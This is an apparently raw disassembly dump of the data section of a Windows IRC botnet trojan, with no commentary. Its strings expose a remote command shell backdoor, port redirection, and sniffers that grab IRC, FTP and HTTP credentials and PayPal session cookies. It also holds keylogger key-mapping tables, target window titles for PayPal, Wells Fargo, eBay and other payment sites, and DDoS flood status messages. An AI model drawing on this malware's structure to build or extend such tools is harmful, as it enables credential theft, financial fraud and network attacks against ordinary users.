aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41061F+3C6o
align 10h
aSS_1 db '%s%s/',0 ; DATA XREF: sub_41061F+379o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+335o
; sub_41061F+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41061F+308o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_41061F+2DEo
; sub_41061F+418o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41061F+2B4o
aAm db 'AM',0 ; DATA XREF: sub_41061F+293o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_41061F+284o
align 4
a__ db '..',0 ; DATA XREF: sub_41061F+231o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+146o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41061F+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41061F+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410D8B+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
unk_4376D0 db 3 ; DATA XREF: sub_410EAC+16Eo
db 31h, 35h, 2Ch
db 30h ; 0
db 5Bh, 2, 3
db 30h ; 0
db 34h, 91h, 3
db 30h ; 0
db 31h, 2, 1Fh
db 69h ; i
db 1Fh, 2, 64h
db 2
db 65h, 2, 6Eh
db 2
db 74h, 2, 64h
db 2
db 3, 30h, 34h
db 2Ch ; ,
db 3, 31h, 35h
db 5Dh ; ]
db 3, 34h, 20h
aServerFailedRe db 'server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410EAC+113o
align 10h
unk_437730 db 3 ; DATA XREF: sub_410EAC+BBo
db 31h, 35h, 2Ch
db 30h ; 0
db 5Bh, 2, 3
db 30h ; 0
db 34h, 91h, 3
db 30h ; 0
db 31h, 2, 1Fh
db 69h ; i
db 1Fh, 2, 64h
db 2
db 65h, 2, 6Eh
db 2
db 74h, 2, 64h
db 2
db 3, 30h, 34h
db 2Ch ; ,
db 3, 31h, 35h
db 5Dh ; ]
db 3, 34h, 20h
aClientConnecti db 'client connection from %s:%d.',0
align 4
unk_437778 db 2Dh ; - ; DATA XREF: sub_411057+14Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_23 db 'Failed to start client thread, error: <%d>.',0
align 8
unk_4377B8 db 2Dh ; - ; DATA XREF: sub_411057+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_437800 db 2Dh ; - ; DATA XREF: sub_4111E7+157o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_24 db 'Failed to start connection thread, error: <%d>.',0
unk_437840 db 2Dh ; - ; DATA XREF: sub_4111E7+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_437884 db 2Dh ; - ; DATA XREF: sub_41146C+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 10h
unk_4378B0 db 2Dh ; - ; DATA XREF: sub_41146C+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_4378DC db 2Dh ; - ; DATA XREF: sub_41146C+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_41146C+172o
align 4
unk_437918 db 2Dh ; - ; DATA XREF: sub_41146C+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_437944 db 2Dh ; - ; DATA XREF: sub_411671:loc_4116A3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 10h
unk_437970 db 2Dh ; - ; DATA XREF: sub_4116B2+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
unk_4379A8 db 2Dh ; - ; DATA XREF: sub_4116E1+218o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 10h
unk_4379E0 db 2Dh ; - ; DATA XREF: sub_4116E1+1E8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start client thread, error: <%d>.',0
align 10h
unk_437A20 db 2Dh ; - ; DATA XREF: sub_4116E1+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_437A64 db 2Dh ; - ; DATA XREF: sub_4116E1+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 10h
unk_437AA0 db 2Dh ; - ; DATA XREF: sub_4116E1+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_437AE4 db 2Dh ; - ; DATA XREF: sub_4116E1+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_437B10 db 2Dh ; - ; DATA XREF: sub_411968+E2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 8
unk_437B48 db 2Dh ; - ; DATA XREF: sub_411968+59o
; sub_411968+8Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 10h
unk_437B90 db 2Dh ; - ; DATA XREF: sub_411ABD+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_437BB8 db 2Dh ; - ; DATA XREF: sub_411ABD+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_437BF8 db 2Dh ; - ; DATA XREF: sub_411ABD+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_437C38 db 2Dh ; - ; DATA XREF: sub_411BB6+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 10h
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411BB6+8Co
align 4
unk_437C78 db 2Dh ; - ; DATA XREF: sub_411C8F+8Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_437CB4 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_26 db '- Failed to start server on Port %d.',0
align 4
dword_437CE8 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_27 db '- Failed to start client thread, error: <%d>.',0
align 8
dword_437D28 dd 234032Dh, 6B636F73h, 3023473haClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
dword_437D70 dd 234032Dh, 6B636F73h, 3023473haErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dword_437DB4 dd 234032Dh, 6B636F73h, 3023473haErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dword_437DF4 dd 234032Dh, 6B636F73h, 3023473haAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_437E34 dd 4000500h, 7868746Bh, 0dword_437E40 dd 1F023403h, 3021F8Ch, 0B71F3531h, 3130031Fh, 1F024602h
; DATA XREF: sub_412407+3A6o
dd 70021F54h, 35310302h, 31FB71Fh, 203A3431h, 31F8B1Fh
dd 1F034F34h, 30031FA4h, 1F037734h, 2031FA4h, 1F03024Eh
dd 30031FA4h, 1F036534h, 30031FA4h, 31034434h, 1F9B1F34h
dd 73252003h, 0
dword_437E98 dd 6F672D65h, 646Ch, 1Eh dup(0)aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
dd 69676F4Ch, 202D206Eh, 50796150h, 6C61h, 1Ch dup(0)
aRapidshare1Cli db 'RapidShare: 1-Click Webhosting',0
align 4
dd 18h dup(0)
aOnlinePaymentM db 'Online Payment, Merchant Account - PayPal',0
align 4
dd 15h dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aRapidshare1C_0 db 'RapidShare: 1-Click Webhosting',0
align 4
dd 18h dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
aEbayNewUsedE_0 db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
dd 8
dword_43869C dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_438DCC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_438E04 dd 28207325h, 297325h ; sub_41B0A1+EBo
a__S_l_ReturnS db '..%s.. (Return) (%s)',0 ; DATA XREF: sub_412911+3EEo
align 4
a__S_l_Return db '..%s.. (Return)',0 ; DATA XREF: sub_412911+3DCo
align 4
a__S_l_Buffer_0 db '..%s.. (Buffer full) (%s)',0 ; DATA XREF: sub_412911+397o
a__S_l_BufferFu db '..%s.. (Buffer full)',0 ; DATA XREF: sub_412911+376o
align 4
a__S_l_ChangedW db '..%s.. (Changed Windows: %s)',0 ; DATA XREF: sub_412911+17Bo
align 4
a__S_l_ db '..%s..',0 ; DATA XREF: sub_412911+B9o
; sub_412911+145o ...
align 4
off_438E98 dd offset dword_439710 ; DATA XREF: sub_412DBF+2B5r
dd offset off_43970C
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
dword_438EA8 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_438EBC dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .XPack0:00438EA4o
align 4
aFtp db 'FTP',0 ; DATA XREF: .XPack0:00438EA0o
off_43970C dd offset dword_435244+5 ; DATA XREF: .XPack0:00438E9Co
dword_439710 dd 544F42h dword_439714 dd 234032Dh, 696E7370h, 3026666haRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
dword_439740 dd 234032Dh, 696E7370h, 3026666haSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_439774 dd 234032Dh, 696E7370h, 3026666h, 2Dhdword_439784 dd 4E53505Bh, 5D464649h, 0dword_439790 dd 234032Dh, 696E7370h, 3026666haWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
dword_4397C0 dd 234032Dh, 696E7370h, 3026666haBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_4397EC dd 234032Dh, 696E7370h, 3026666haSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_413144+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_413144+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_413144+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_413144+C8o
a_login db ':.Login',0 ; DATA XREF: sub_413144+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_413144+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_413144+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_413144+84o
a366 db '366 ',0 ; DATA XREF: sub_413144+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_413144:loc_4131A6o
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_413144+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_413144+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_413144+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_413144+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_41325B+62o
aOper db 'oper ',0 ; DATA XREF: sub_41325B+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_41325B:loc_41329Bo
; sub_4132D1+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_41325B+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_41325B+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_4132D1+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4132D1+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4132D1:loc_413322o
align 4
a220 db '220 ',0 ; DATA XREF: sub_4132D1+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4132D1+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413358+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413358+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413358+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413358:loc_413398o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413358+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413358+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4133DF+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4133DF:loc_41341Fo
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4133DF+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4133DF+5o
align 4
unk_439984 db 2Dh ; - ; DATA XREF: sub_413444+3D6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4399BC db 2Dh ; - ; DATA XREF: sub_413444+36Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4399F4 db 2Dh ; - ; DATA XREF: sub_413444+337o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439A28 db 2Dh ; - ; DATA XREF: sub_413444+30Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439A5C db 2Dh ; - ; DATA XREF: sub_413444+2DCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_439A90 db 2Dh ; - ; DATA XREF: sub_413444+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
unk_439AC0 db 2Dh ; - ; DATA XREF: sub_413444+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
unk_439AEC db 2Dh ; - ; DATA XREF: sub_413821+5Bo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_439B14 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_4138D3+31Ao
dd 203A726Fh, 6425h
unk_439B30 db 2Dh ; - ; DATA XREF: sub_413C65+390o
db 3, 34h, 2
db 69h ; i
